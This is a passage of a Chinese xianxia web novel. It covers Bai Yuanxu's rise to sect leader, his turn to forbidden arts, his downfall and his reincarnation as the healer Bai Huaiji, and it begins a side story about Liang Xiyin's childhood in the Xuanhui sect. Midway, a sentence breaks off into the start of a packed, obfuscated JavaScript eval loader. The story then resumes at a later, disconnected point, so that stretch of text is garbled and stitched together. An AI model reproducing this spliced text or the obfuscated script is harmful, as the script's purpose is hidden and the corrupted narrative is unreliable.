那狼不知为何发出猪一般的叫声,三两下就将这几人开膛破肚。鲜血冒着热气,将洁白无垢的雪染得腥红一片。 白元绪抱着树干,目睹着这一切。他第一反应不是害怕,而是在想,若是他也能拥有这种力量,又何至于被追得这般狼狈,说不定他的父母也能免于一死。 那赤首鼠目的狼对每具尸体都啃了几口,随后又像是失去了兴趣,抬起头耸动着鼻子。 完了,要被发现了。白元绪心中刚闪过这个想法,就见树下的狼准确无误地盯向他,目露凶光。它大吼一声,一下下地撞击啃咬着树干。 本就不粗壮的树顿时摇晃起来。濒临死亡,白元绪的内心反倒无比平静。他只是有一点想不通,这狼分明已杀了不少人,为何还要如此赶尽杀绝? 突然,他看见什么东西以极快的速度飞了过来,在碰到狼的一瞬间,那狼就倒在了地上,连一声惨叫都没来得及发出。白元绪这时看清了,贴在狼身上的,是一张黄底红字的灵符。 一系列的变故令白元绪有些发懵,直到一道清润的嗓声响起:“还能下来吗?” 白元绪循声望去,见是一白衣男子,他穿得不多,却像是丝毫感觉不到冷一般,周身的气度也全然不似凡人,正耐心地站在树下望着他。 “仙长...”白元绪懵然地喊着,缓缓从树上爬了下来。在落地时,他一下没站稳,险些跌进了那滩血中,幸好眼前之人及时扶住了他。 待他站稳后,那人也没有松开手。不知是不是错觉,白元绪只觉周身的寒意都被驱散不少,心绪也渐渐平静了下来。 “此乃凶兽猲狙。”男子捏了道诀,缠绕在猲狙尸身上的黑雾便散尽了。他将目光移向白元绪,说:“在下名唤陆闻朔,不知小兄弟如何称呼?” 陆闻朔。就算白元绪只是一介凡人,也听说过这个名字,负责守卫皇城的修仙世家——陆家的家主。白元绪退后几步,行了一个大礼:“小民白元绪,谢陆家主救命之恩。” 陆闻朔轻笑,启唇说出了白元绪这辈子从来都不敢想的话:“我观你根骨上佳,极适合练刀剑。白小公子,可曾考虑过入宗门修行?” 白元绪怔住了。他紧紧盯着面前之人,盯着那儒雅随和的面容。此时此刻,他是真心感激陆闻朔并珍惜着这份来之不易的机缘。 2.突变 有陆闻朔开口,白元绪几乎是不费吹灰之力的进了苍梧宗。 苍梧宗最多的就是剑修,是以他也只能先从一个外门弟子做起。他见识了很多东西,也接触了很多人。有的弟子逃避练功,整日偷摸下山去花天酒地;也有弟子辛勤练功,却始终不得其法,多少年了也只是个外门弟子。 白元绪未与任何人深交,他整日里便是练剑、打坐,没日没夜地修炼。他想变强,想得到宗内长辈的认可,更想将命数掌握在自己手中。 他这般处世,难免遭到一些弟子的诟病。 这日,他照常从练功堂走回弟子居,却忽觉有什么东西自身后飞来。白元绪闪躲的速度极快,却还是被那物锋利的边缘割伤了面颊。他抬手,摸到了满指的鲜血。 那几样东西就钉在不远处的树干中,白元绪看清了,那是几枚飞镖。这飞镖个头不大,断然致不了死,但若不是他方才反应快,此时后背上怕是少不了几道血淋淋的伤口。 耳边传来嗤笑声,白元绪冷眼看去,见是素日就常给他使绊子的几个弟子。 被他发现后,他们不仅丝毫没想掩饰,反倒笑得更为肆意。 “白元绪,看来你这身手也不怎么样吗,连这都躲不过去!” “都是外门弟子,你还真把自己给当回事了。天天在那装模做样,结果练到现在不还是和我们一样?” “一个罪臣之子,在这装什么清高!还真指望着有哪个长老能收你做亲传弟子啊?” 白元绪的拳头反复握紧了又松开,他最终什么也没说,转身向前走去,不去理会那愈发刺人的话语,甚至好脾气地冲他们笑了笑。证据不足,那几人又定会互相包庇,他就算是去告状也无用,只会招致更疯狂的报复。 且宗门内禁止斗殴,他若是为一时意气冲过去,必然落于下风不说,事后还要受罚,严重些说不定还会被赶下山去。那些人可以不在乎这些,但他不能。他必须忍耐,他也只能忍耐,忍到...自己被人看到的那一天。 他没想到的是,这一天会来得那般快。 郭掌门四百岁寿辰那日,几乎所有宗门世家的大能前辈们都携礼前来祝贺。此等盛事与白元绪这种外门弟子自然没什么干系,去饭堂用完饭后,他正在山道上走着,却突然被一人拦住了去路。 来人正是郭掌门之子郭循。在知晓他要自己随他和郭掌门办事后,白元绪无疑是惊喜的,甚至不敢相信。不论要办的是何事,只要自己好好表现不将事情搞砸,距成为亲传弟子的日子总归是更近了些。 他小心地站在郭循的剑上,做梦也没想到自己有朝一日能得了掌门父子的青眼。 可随着脚下景致的变化,白元绪逐渐察觉出了不对劲。这二人御剑驶向的,分明是玄晖宗!还有他们破阵抓走的人,就是传闻中杀害同门的魔族重霄! 几人降落到不远处的一片密林中,重霄被剑气束缚着,动弹不得。把他带到这的那两人正在一旁低声密谋着什么。 白元绪眼中渐渐失了光彩,他不清楚接下来会发生何事,但他知道,这根本就不是什么正常的举动,甚至是罪恶的。而他,不论是用作牺牲还是事后杀人灭口,郭掌门父子都决计不会放过他。 可他好不容易才捡回一条命,又怎甘愿在此时不明不白地死去?眼见示弱无用,白元绪咬紧牙关,在黑雾扑过来的一瞬间,拼尽全力挣脱了对他全不设防的郭循,紧接着一推一躲,直面那凶残黑雾的人就成了郭循,而他则在地上翻滚着逃过一劫。 心脏剧烈跳动着,白元绪稳住身子,片刻不敢松懈。他紧盯着郭明远腰间的临阳剑,趁他满心救子之际,绕到他身后,又一个箭步上前夺了佩剑。 他手心全是汗,还没跑几步,就觉背上一重,被迫扑倒在地。鲜血不断自口中涌出,可求生的意志在这刻盖过了一切,不知是从哪来的力气,他撑着剑重新站了起来。 鬼哭声掺杂着惨叫自身后响起,白元绪没敢回头,生平第一次自己御剑驶离了地面,驶离了这鲜血淋漓之地。 他灵力低微,又受了伤,再加上驶得太急太快,强撑了一段距离后就控制不住地落回地面。他听见远方传来喧嚣声,但那些都与他无关了,他现在只想活下去。 白元绪躺在地上,从乾坤袋中摸出伤药。不是每次都能运气好到有人能来救他,这次便是。他自己给自己疗着伤,又在十几天后只身回到了苍梧宗,没人知道他是怎么挺过来的。 他本就是强撑着最后一口气,待看到山门后,终于再也支撑不住地昏了过去。再度醒来后,他又回到了弟子居内。看着屋内熟悉的摆设,白元绪只觉恍如隔世。 面对众人的关切与讥讽,他也只是轻描淡写地回道:“下山除魔时遇到了意外,受了些伤。”大部分人都相信了他这个说法,少数存疑的也没能找出什么证据来。况且白元绪不过就是一外门弟子,也没多少人会过于关注他。 日子还是和以前一样过着。白元绪受的伤不轻,自己处理的又不到位,回宗后仍是养了很长一段时间。郭明远死了,重霄被玄晖宗除名,这些事他在回宗的路上都已听闻了。 起初他是错愕的,郭明远身为一宗掌门,实力自然不容小觑,而那重霄不过是一阵修,却能如此轻而易举地杀了他。只因为他是魔族吗?魔息...当真能有如此实力? 伤养好后,他愈发刻苦地修炼。在极偶尔的闲暇之余,他低头看着自己掌中蕴出的灵力,不禁会想——如果这是魔息,那他是否能变得更强、修炼得更快?他再也不想受制于人了。 不过他也只是想想罢了,他不知要如何做,也不敢那么做。 几年后,白元绪终于如愿以偿地成了亲传弟子,并拥有了一把独属于他的佩剑。他给剑取名“怀离”。 怀离、怀离,他的一生总在经历离别,与亲人的离别,与过去自己的离别。他记着这些离别,记着一次次捡回一条命的不易与苦楚。是不是只有他变得足够强,才能真正忘却这一切? 斗转星移,他的修为不断提升着,成为了所有亲传弟子中的佼佼者。也是在这时,他意识到仅有修为和能力还远远不够。 他一改往日的淡漠,对所有弟子笑脸相迎,对掌门和长老们更是恭敬有加,圆滑地处理着与所有人的关系。他的名声渐渐扩至了全宗,无论是弟子还是长老,都极喜欢与他相处。 这张笑面,从此就被他刻在了脸上。 他的努力总算是没有白费。在接过掌门印的那一刻,看着殿内对他行礼的众人,听着那一声声的“见过掌门”,他险些要落下泪来。 3.罪累 直至今时今日,白元绪都从未后悔过他的一切决定。 他站在由云隐石构筑的密室间,如痴如狂地翻阅着那些禁书、邪书、早便不该存于世上的书。 郭氏父子为何要抓重霄、重霄又是为何能有那般实力...许多他百思不得其解的问题顿时有如云开雾散。他第一次知道,原来世上还有如此瑰丽诡谲的术法。 他在密室中不分昼夜地待了三天,出去时手指都在微微颤抖着,刺目的阳光照射到室内,竟让他感到一阵阵的眩晕。若是...若是能把这里头记载的秘法用到极致,那他岂不是当真能成为修仙界第一人? 白日里他料理宗门事务,与各宗的前辈们往来。在夜深人静之时,他则会全身心地投入到这间密室中。他开始学习阵法,光是习剑已支撑不了他的野心,许多邪术都要依靠阵法来完成。 只是剑道与阵道终究不同,学阵法更讲求天赋,若是一人天赋不足,那练再多年也只能练出个一事无成。白元绪在剑道上已称得上是大能,但在阵道上的天赋实在一般。 但胜就胜在,他面对任何事都从不轻言放弃。数不清过了多少时日,他终是在阵法上小有所成了。此后的几日中,他接连在人间怨气深重之地布下了几个大阵,他需要魔息,也需要怨气。这两样东西在他少时便蛊惑着他,使他明知危险却还忍不住地想要靠近。 他太渴求那股力量了。 他收集了大量怨气,但在试过几次引怨气入体后,他便放弃了这个想法。他承受不住。 在痛得蜷缩于地面之时,他脑海里闪过了很多想法。怨气凶险,连魔尊重霄都无法完全驾驭,但若是他直接用邪阵夺取重霄的修为,是不是也能拥有他的一部分实力?只是重霄到底是死了,被他封印起来的漆吴山里倒是有不少好东西...看来得想办法去一趟了。 天亮后,他穿上外袍、挂上笑面,去往玄晖宗赴谢既微办的宴。凡是修仙之人,修为越高,想要突破境界就越是不易。是以若是有大能成功提升境界,通常都会办一场小宴,既是为庆祝,也便于彼此之间的交流。 白元绪很少见到这位玄晖宗的谢掌门。仙魔大战结束后,谢既微便常年闭关,鲜少出席修仙界内的宴席与试炼。此次宴会是由他举办的,也是他时隔这么多年第一次再出现在众人面前。 但白元绪素日没少从旁人口中听说过他。天生剑体,生于涿郡谢家,后来更是直接被收为玄晖宗前掌门唯一的亲传弟子,又再顺理成章不过的继任掌门。不论是天赋还是所受的教导都远超同辈之人,乃至于让很多剑道前辈都望尘莫及。 白元绪晃了晃杯盏。有些人还真是好命,他拼尽全力得来的一切,在旁人眼中甚至可能是一文不值。 他看见那白发白衣的身影被众人围在中间,那些人脸上是相同的笑,说的也尽是些相同的话。其中不乏有白元绪熟悉的面孔。 因着他苍梧宗掌门的身份,这些人往日里对他极尽谄媚,这时却尽数对他视若不见,一心只顾着往谢既微面前凑。白元绪的目光缓缓落在其中一名女修身上。那女修站得离谢既微极近,正娇声说着仰慕之语。 白元绪的笑容里含了一丝冷意,无他,只因这女修前些时日刚与他说过完全相同的话。她那时也是用秋水般的眸子含情脉脉地望着他,她说,若是能与他相伴,便是死也无憾。 从来没有人与他说过这些话。与多年前被郭循叫住时的心情一样,白元绪的第一反应是惶恐。他不禁在想,他也配吗?也配拥有真挚的感情吗?深思熟虑几日后,他婉言拒绝了她,他有太多事情需要顾虑,贸然答应耽误的不仅是他自己,更是那名女修。 可这才过了多久,她竟能如此轻而易举地将这些话对另一人宣之于口。白元绪笑容加深,人与人之间的感情有多脆弱易变,他不是早在少时便领会过了吗?那几名仆人饱受白家恩惠,却依旧不肯放过他,更何况是男女之间这虚无缥缈的情谊呢?从一开始,他就不该抱有期待。 看着谢既微好声好气地应付着众人,白元绪突然想到,他怕是这辈子都比不过他了。天赋、修为、心性...谢既微是站在光中的人,而他却活在暗影里,费力隐藏着那些陈年旧伤。是了,有谢既微在,谁还会看见他呢? 要是...能亲手把这光掐灭就好了。 白元绪是随着手掌传来的痛意回过神的,他垂眸,见那白玉杯盏竟是生生被他捏碎了。残渣刺进他的手心,洇出的鲜血直映入他眸底,照出了一片暗色。 这是他第一次没能在这种场合控制住情绪,想来也是最后一次。 终是有人注意他了。谢既微上前几步,关切地问他伤口可还要紧。白元绪淡笑着摇头,几下便把手心的碎渣给挑出来了,对他这种修为的人来说,这等小伤不出半日便能自愈。 宴席接近结束时,白元绪见到了一个意想不到之人——贺五,或者说,贺千遮。 他随着贺千遮来到一僻静之处,等人在面前站定了,白元绪端详着他说:“没想到你我都还能活着,活着走到了今日。”他面带笑意,双目里透着几分怅惘。 贺千遮感慨地道:“是啊,多亏了陆家主...”他说着,却是忽然跪了下来,俯身道:“白掌门大恩大德,贺某愿尽全力相报!” 白元绪沉默着,他低头看着跪伏在地的身影,轻笑几声,问:“让你做什么都可以?” 贺千遮抬头,眸光坚毅:“贺某这条命都是白家给的,自当为白掌门效劳!” 白元绪原以为贺千遮不过是说说而已,他不会再轻易相信任何人,更何况是玄晖宗的人。可他没想到,贺千遮竟是当真说到做到,全心忠于他,甚至不惜出卖玄晖宗的利益。这一忠,便是许多年。 白元绪曾有意向他透露过自己修魔一事,彼时他藏在袖中的手捏着一道剑诀,若贺千遮扬言要除魔卫道,他便当场杀人灭口。可事情再一次出乎他的预料,贺千遮在惊讶一瞬过后,只是淡然地点了点头:“不论白掌门要做何事,贺某都愿为白掌门效命。” 白元绪没想到,世间竟当真有如此蠢钝之人。他有时会想,若他不入宗门,倒是很乐意有一个贺千遮这样的弟弟——单纯、固执、供他驱使。 恍然不知又过了多少年,他的修为日益精进,终于得以破开漆吴山的封印,哪怕只有一时半刻,那也足够了。 他给闻影下了血咒,又在数次的失败后成功炼化出了冥龟子。看着坛中那小小的黑色瓢虫,他的神色逐渐疯狂,一种欣喜到极致的疯狂。他拿着小坛走出密室,只要设法让这冥龟子进入到谢既微体内,那他必死无疑,届时他的修为,还有这修仙界诸多大能的修为,都将归他所有。 或许是这一切太过顺利,意外发生了。陆闻朔来得突然,他根本无暇把坛子收起,只来得及敛了神色。他许久没有这般慌乱过了,陆闻朔知道了,他怎么会知道...他怎么能知道?! 洗灵?不,不能 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“他是我的恩师,更是你的恩师!白掌门,你就这样报他的知遇之恩吗?!”字字句句,利刃般在白元绪的心头搅着。同是知遇之恩,贺千遮能这般宣泄心中情绪,而他却是杀害陆闻朔的凶手。 他深吸一口气,仍然笑着回道:“千遮,陆家主之死是意外,我能理解你的心情,但我眼下有更重要的事要做。” 贺千遮紧紧盯着他,从牙缝里挤出一句话来:“你总是有更重要的事。”说罢,直接甩袖离开了。 白元绪沉默地看着门口。事已至此,他已没有退路可言了。既是亲手选择了这条血路,那他只能孤身一人走到尽头。 不久,魔尊重霄和含盈仙子复生的消息传遍了整个修仙界。白元绪在第一时间想定了计划,重霄那一身的修为,他已经渴求很久了。谢既微没死也无妨,他照样能将众修士的修为纳为己有。这一天,终究是要来了。 在集议召开的前一日,他去找了贺千遮。贺千遮已平复多了,似乎在为那日的大发脾气而感到些许愧疚。还真是...一如既往的天真啊。白元绪坐在椅子上,浅笑着对他说:“陆家主,是我害死的。”他将前因后果一一说了出来,心中感到一种前所未有的畅快。 他静静地看着贺千遮面露惊骇,看着他发怒、崩溃、又看着他夺门而去,一句也未曾辩解。室内只剩下他一人。 白元绪想,救下贺千遮,或许是他一生唯一做过的好事了。但他这般卑劣的恶人,到底不值得被任何人效忠。 他望向窗外,今夜无星无月,黑幕沉沉。从明日始,这修仙界就要大变天了。 胜,他自此便是修仙界中第一人;败,则永世不得翻身。 许是他作恶太多,连老天爷也看不下去了。这场由他一手策划的阴谋,竟成了一场针对他的审讯。偷袭梁惜因失败后,他被怨气击倒在地,长昀剑穿透了琵琶骨,令他动弹不得。 他在笑,痛快地大笑着,笑得伤口抽痛,笑得泪水凝结在眼角。但他心里却在恨,恨谢既微、梁惜因这些天资出众、道貌岸然之辈,恨重霄堂堂魔尊却与修士站在一起,更恨自己一朝行差踏错,竟致使满盘皆输。 他被关在了地牢里。牢中阴暗,只有最顶上的一扇小窗透着些微光亮,他待在里面,竟是生出了一种许久都未曾有过的安心。这么多年过去了,他终是能做自己了。 苍梧宗众长老为防他逃脱,不仅布阵设符,还轮流派人来把守。白元绪只觉着好笑,他都不知自己能有这般威力。以他现在这副身子,不劳他们动手,三日后也要吐血而亡了。 在牢里等死的这两日,他想了很多。他反复思索着,自己到底是如何走到这一步的。在刚入宗门之时,他分明也有着一颗济世除魔的心。从少时的雪夜奔逃始,再到郭氏父子之死,他所做的一切也不过是为了活下去,不受制于任何人的活下去。 可活着...又有何意义呢?就是为了体会众叛亲离,再亲眼见他一手扶持起来的宗门变为众矢之的吗?他一生都在苦苦追寻着,而当死亡真正来临之时,他却惊觉自己在这世上并无任何牵挂。他恨这世间,这世间也容不下他。 他累了,已经记不清有多久...没有好好休息过了。只要一闭上眼,形形色色的亡魂冤鬼便会出现在他面前,向他索命。 他垂眸凝视着自己的双手,这双沾满了鲜血的手。他这一生,是由鲜血、罪恶和伪装铺就的。如果可以选择,他来世不想再杀人了,他想救人。 寂静的牢中响起一声苦笑,白元绪的手又无力地垂了下去。是了,他这样的人,怎么配拥有来生呢? 世事一场大梦,终究是尘归尘,土归土。 4.迎光 五百多年后,淮州城。 一对中年夫妇对着一白衣少年连声道谢,抹着泪道:“多谢仙长,多谢仙长!要不是仙长在此,我儿怕是要活不过今晚了!” 那少年面目尚显稚嫩,眼角下垂,颊边有些微的婴儿肥,边答“没事”边在乾坤袋中掏着,“奇怪,到哪去了...” 这般掏了半晌,他终于掏出一个瓷瓶来,递给那夫妇二人,“这瓶药给你们,每日早晚给令郎喂一颗,三日后他体内沾染的魔息就能祛尽了。” 见他们不接,他又补了一句:“拿着吧,不要钱。” 那夫妇对视一眼,竟是直接跪了下来:“仙长大恩,小民实是无以为报啊!” 少年眉头一皱,露出些许苦恼的神色:“好了好了,别动不动就下跪啊,这我怎么受得住,快起来快起来。至于报答么,让你儿子以后别去招惹魔兽就行。” 他把桌上的瓷瓶、银针、绷带等一股脑地塞进乾坤袋中,对两人摆了摆手:“行了,我走了,你们也快回去吧。” 那二人却是追了上来:“仙长!不知仙长尊姓大名?” 那少年脚步一顿,回头望了他们一眼,笑道:“我叫白怀霁。” 走了没多远,白怀霁进了一家客栈,几步跑上了楼,又小跑着进了一间房,喊道:“师父!” 屋内清瘦温雅的男子看向他,无奈地道:“说了多少次了,跑慢一些。” 白怀霁嘿嘿笑着,净了手后一屁股坐在桌前,拿起盘中的点心嚼着,含糊不清地回道:“放心吧师父,肯定摔不了的。” 男子摇了摇头,问他道:“都处理好了?” 白怀霁点头,又往嘴里塞了块点心。 男子抿了一口茶水,眸色沉沉。须臾,他开口道:“怀霁,你天资聪颖,为师已没什么能教你的了,往后的路,要靠你自己走了。” “咳咳咳——”白怀霁完全没预料到这话,一时被点心噎住,连忙灌了好几口茶才缓过神来,脸色也涨得通红,“师父,你不要我了?” 自白怀霁有记忆起,他便一直跟着面前的男子学医,至今已有十七个年头了。他唤他“师父”,却从不知男子的真名是何,只知他医术极为高超,被凡间百姓称作“清辉道人”。还有一点他也想不通,那便是他师父为凡人治病疗伤时,都以真容示人,而当有修士慕名前来时,他要么推脱不见,要么就是提前易容。 清辉道人轻叹一声,缓缓道:“怀霁,没有弟子能一辈子跟在师父身边,你总要去独自面对一切的。” 白怀霁不语,他自是也知道这一点,只是没曾想这一天会来得如此突然。他看向清辉道人,问道:“那我以后若是遇到解决不了的事,可以给师父传符吗?” 清辉道人点头:“自然,我虽是不在你身边了,但仍旧是你的师父。遇事不要逞强,记得三思而后行。还有一点你绝对要记住...” “我知道,”白怀霁插话道:“只许行善,不得为恶。”这话他听了已有不下千百遍了,耳朵都要起茧了。 清辉道人盯着他,正色道:“不光是嘴上说说,你要记到心里去。” 若是以往,白怀霁心里怕是要有几分不耐烦了。可一想到此后不知何时才能再见到师父,他吸了吸鼻子,像第一次听到这话一般,无比郑重地答道:“弟子,谨记。” 几日后的清晨,趁着白怀霁熟睡之时,清辉道人收拾了行装,独自走向了楼。 “贺公子。”一道熟悉的女声自不远处响起,清辉道人的脚步顿了顿,侧首望去。 只见两名修士坐在一楼空旷的大堂之内,男子眉目冷冽,俊美非凡;女子仙姿玉色,气质出尘,正笑着对他说:“或者说,清辉道人?” 贺千遮快步走下楼梯,行礼道:“晚辈见过含盈仙子,见过魔尊。” “不必多礼。”梁惜因向他身后望了望,好奇道:“怎么就你一人,你徒弟没跟你一起?” 贺千遮如实答了。 梁惜因试探道:“你就这般放心他?” 贺千遮笑了笑:“他是晚辈一手带大的,晚辈了解他的心性,他与以往不同了。” 梁惜因一手绕着发丝,思索着说:“也是,前尘已矣,自是不能一概而论。”她抬眸问道:“那你呢?今后有何打算?” “不知。”贺千遮的眸子闪过一瞬的迷惘,“且走一步看一步吧。” 他这一生都在报白家的恩、报白元绪的恩。自离开玄晖宗后,他养着那一缕残魂,又等着他再世为人,慢慢将毕生所学都教与他,从未想过自己要做什么。如今恩已报完,一命还一命,他们二人已是两清。他也想试着,去为自己活一次。 “无妨,想不到就慢慢想,时日长着呢。”梁惜因将自己与重霄的茶盏添满,又给贺千遮倒了一杯,“此处没有酒,我便以茶代酒了。” 她起身,举起茶盏:“愿清辉道人此去一路顺遂,探得本心。” 贺千遮走后,梁惜因和重霄依旧坐在原处用早茶。见梁惜因嘴角沾着些许点心残渣,重霄再自然不过地伸手替她抹去。梁惜因弯唇道:“这家店味道不错,但比起阿霄的手艺还是差了些。” 重霄温柔回望着她:“那等回去后,我再亲手给阿因做一份。” 没过多久,楼梯处传来“啪嗒啪嗒”的脚步声,梁惜因抬头,见一白衣少年边踩着楼梯边在大堂中四处张望着。没望见想看到的人,他明显有几分失望,但很快又振作起来,对店小二喊道:“烦请给我来三个包子,带走路上吃。” “好嘞!客官您稍等。”店小二动作很快,没一会就将包子备好了。 “多谢!”白怀霁接了包子,脚步轻快地走了出去。店外红日高升,金色的阳光铺了满地。 梁惜因注视着他的背影,颇为感慨地对重霄道:“我算是明白贺千遮为何不让他易容了。” 重霄说出了她的未尽之意:“虽是容貌相似,但周身气度截然不同,俨然是两个完全不一样之人。” “是啊,贺千遮以后也不在他身边了,更是没人会往那方面去想。”梁惜因收回视线。 白怀霁已然走远,这一次,他也能够活在阳光之下,行正道、救苍生。 109. 番外二 情谊 “我不要哥哥走...”梁惜因两眼盛着泪,紧紧攥着梁惜时的衣袖。 她自幼便与梁惜时相依为命。两人的父母在几年前双双意外离世,是梁惜时一手将她带大。靠着父母留下来的积蓄,过得也还算不错。 近日玄晖宗要举办招新试炼,梁惜时早在半月前就做好了准备,一路带着她向北走,来到玄晖宗的山门处报名。试炼当日,天璇峰峰主一眼便看中了她,将她收到门下。梁惜时则拜入了天玑峰峰主门下。 明日就是正式入宗之时,也意味着她和梁惜时要分开了。梁惜因只觉着天要塌了,说什么也不肯松手。 彼时的梁惜时也才十四岁,看着面前比自己小七岁的妹妹,他无声叹了口气,又一次觉得自己此次决定着实做得有些草率。 他摸了摸梁惜因的头,安慰道:“天璇峰和天玑峰靠得很近,我们还是每日都可以见面。阿因不是一直都很羡慕那些仙长吗?等入了宗,我们阿因也能成为很厉害的阵修,想去哪就去哪,还能降伏妖魔鬼怪。” 梁惜因想了想那副场景,确实很令人动心。她抬眸望着梁惜时,认真说道:“那哥哥要记着经常来找我。” 梁惜时笑道:“哥哥忘了什么也不会忘了这件事的。”他微微弯腰,伸出小指来,“我们拉勾。” “嗯!”梁惜因勾住他的小指,一字一顿地道:“拉勾、上吊,一百年不许变!” 梁惜时收回手,刮了一下她的鼻尖,轻笑几声:“不论几百年都不会变。” 梁惜因年纪小,个子长得也慢,是以不论是她的师尊还是师兄师姐都会有意无意地多照顾她一些。梁惜因从小就跟在梁惜时身后,没怎么和旁人说过话,性子一向很是腼腆。这些时日和众人相处下来,她倒也变得开朗不少。 在天璇峰修炼的日子比她想象中的要开心一些。只是不能时刻都见到梁惜时。 这几日梁惜时告诉她,他要练习一套符咒以备师尊考察,是以会晚些时候再来找她。梁惜因一直很悠闲,是以决定要自己亲自去天玑峰找他。 七岁的梁惜因抱着从饭堂拿的点心,自入宗以来第一次踏出天璇峰。 玄晖宗七大主峰由虹桥相连,以梁惜因现在的修为当然布不出缩地阵,只能顺着虹桥步行过去。她走得很快,既是怕怀中的点心凉了,也是怕还没等她找到梁惜时,梁惜时就已去往天璇峰了。 梁惜因喘着气,感觉走了好久才终于踏入峰内。她摸了摸怀中点心,还热着,于是稍稍放下了心,在峰内四处张望,寻觅着那个熟悉的身影。 越往里走,梁惜因就越觉着天玑峰与天璇峰着实是不同。天璇峰内随处可见高大的古木和随风轻曳的灵植,放眼望去,郁郁葱葱。而这天玑峰看上去格外开阔,只有几株苍天古木屹立着,尽显苍茫。 梁惜因一路欣赏着周遭景色,丝毫不察不远处跑来了个人。而那人只顾埋头狂奔,根本就不看路。等两人都反应过来时,已是躲闪不及了。 梁惜因跌坐在地,吃痛地捂着被撞到的脑袋。而那人捂着胸口,看着也被撞得不轻。 梁惜因心头涌起一阵委屈,可等她抬起头,却见那与她哥差不多大的少年眼眶泛红,一副欲哭不哭的模样。 梁惜因:“......” 她硬生生将眼泪逼了回去,撑着地面站起身,上下拍了拍手掌,又对那少年伸出了手,“撞到你了,不好意思。” 少年:“......” 他似乎是觉着有几分丢脸,视线飘忽,犹豫了片刻才握着梁惜因的手站起来,“不怪你,是我跑太快了。” 梁惜因点头,俯身拾起装点心的包袱。她包得严实,点心虽没有洒出来,但这么一摔也全都碎了。 她打开包袱,盯着碎掉的点心,少年则盯着她。开阳峰内竟还有这么小的女娃娃?他此前倒是从未见过。等等,她身上的宗服...好像不是开阳峰的吧? 眼见这小女娃撇着嘴,浑身溢着伤心的气息,少年不禁有些慌了。 要命,他修炼了这么多年,可从未接触过这么小的姑娘。果然还是被他撞疼了吗,现在该怎么办,他要是直接扭头就跑会不会不太好... 几番纠结下来,他凑上前去,蹲下身问道:“怎么了,小妹妹?别难过啊。” 梁惜因看他一眼,还在为半途殒命的点心哀悼:“点心碎掉了。” 少年从方才起就闻到点心的香味了,他吞咽着口水,无比自然地抓起一把碎掉的点心就往嘴里塞,含糊地说:“没事,哥哥帮你吃了,咱们眼不见心不烦啊。” 梁惜因:“...???” 她呆了片刻,眼见这人几下就要将她一包点心给吃完了,终于按捺不住哭出声来。 少年:“???” 他这下是彻底慌了,心虚地四下瞅着。见哄了几下没哄好,他深吸一口气,使出了杀手锏。 “要不要摸耳朵,哥哥给你摸老虎耳朵好不好?”他握着梁惜因的手往自己脑袋上放去。 梁惜因果然止住了哭声,眼里尽是新奇,一下一下轻轻揉捏着。少年低着头,面色通红。虎妖的脸面,今日算是被他丢光了。 两人都平复下来了,也总算是能好好聊一聊了。少年低头看着才到自己腰间的小姑娘,确认般问道:“啥?你说你是来天玑峰找你哥的?” 梁惜因点头,目光坚定。 “可这是开阳峰啊。” 梁惜因:“......啊?”她回头望向来时的路,“那天玑峰在...?” 少年摆摆手:“罢了罢了,我送你过去。” 他带着梁惜因往虹桥处走,梁惜因拎着空空如也的包袱,发出灵魂质问:“那我的点心...?” 少年:“......”他挠了挠头,尴尬地笑了几声,大度道:“不就是点心吗,哥哥以后赔给你双份!” 等终于走到了天玑峰,梁惜因一眼便望见了正往虹桥处走的梁惜时。 “哥!”她喊了一身,小跑着奔过去。 梁惜时张开双臂稳稳地接住她,诧异地问道:“阿因怎么过来了?可是觉着哥哥去得太晚了?” “没有!”梁惜因摇头,笑道:“就是想见哥哥了。” 她指了指少年:“是老虎哥哥送我来的!” 梁惜时也看见了立在不远处的少年。两人彼此行了一礼,少年先开口道:“你妹妹跑到开阳峰去了,我给你送回来了。” 梁惜时应道:“多谢扶岳师兄。” 扶岳本来都打算事了拂衣去了,听到此话又止住了脚步,疑惑问道:“你怎么知道我名字的?” 梁惜时笑意温和:“开阳峰与老虎有关联的,我只听闻过扶岳师兄一人。”他再度行了个礼,“在下是天玑峰的梁惜时,此乃舍妹梁惜因,于上月入宗。” 梁惜因拉着梁惜时的衣摆,对他说:“这个哥哥可好了,还给我摸耳朵。虽然把我带给哥哥的点心都吃了...但那也是因为我先把他给撞哭了。” “什么哭了?我可没哭!”扶岳不服气地喊道,红色自他的耳根处蔓延。 梁惜时的视线在自家妹妹和扶岳身上来回移着,欲言又止。 一炷香后,三人齐齐坐在天玑峰的一棵古木下。微风拂过,树影婆娑。 扶岳屈起一条腿,嘴里叼了根草叶,忿忿道:“还不是那姓虞的师姐欺人太甚,竟说我身上有臭味!拜托,她找遍妖界都绝对找不出一只比我更爱干净的老虎了!她这般造我的谣,我给她几个教训怎么了?我那师尊还说我没事找事,心都不知道偏哪去了!” “早知如此,我那日就不该下山。”他将草叶吐掉,双手垫在脑后躺在了草地上,眯眼看着天上流动的白云,“我不过是想去吓唬吓唬那些凡人,顺便偷几只烧鸡吃吃,怎料就正好被我师尊撞上了,二话不说地把我揍了一顿,又将我带到这山上来受罪。这么多规矩要守,还要面对那些个找事的家伙,哪有我以前在山上打滚快活。” 梁惜因屈膝坐着,感受着拂面的清风,嗓音稚嫩:“玄晖宗这么大,日子这么长,总会有开心的时候。” 梁惜时双手撑在地面,微微向后仰着身:“是啊,既来之则安之,有人讨厌你,自然也会有人喜欢你。” 扶岳没回话,空气一时静了下来,只余草叶拂动的沙沙声,三人就这么静静地坐了许久。扶岳觉着,如果就这么一直坐下去,似乎也还不错。 红日西沉,暮色侵蚀着天空。扶岳站起身,开阳峰的距离比较远,他现在不得不回去了。才走出几步,他又回身看向两人:“我以后还能来找你们吗?” “当然。”梁惜时应得很快。 “记得带点心来!”梁惜因向他挥手告别。 “放心吧!忘不了的!”扶岳喊道,转身向虹桥跑去。 几月之后,清影门负责举办修仙界的交流盛会。梁惜因入宗没多久,年岁又小,但她的师尊依旧把她也带上了。清影门处于平州城内,前五日各门派的弟子都可自行在城中游玩交友,等到后五日再办擂台赛。 平州位于北方,景色与玄晖宗所在的陵州多有不同,梁惜因起初很有兴致,拉着梁惜时和扶岳到处逛,等到了第四日,她的兴致渐渐淡了,只觉城中各处风景俱是大同小异,没有陵州精致柔婉,就连点心都没有陵州城的好吃。 这日他们三人早早便回客栈了。走进一楼大堂时,梁惜因眼见一个白发白衣的背影正在上楼。扶岳也瞧见了,脱口而出道:“这是哪来的小老头?” 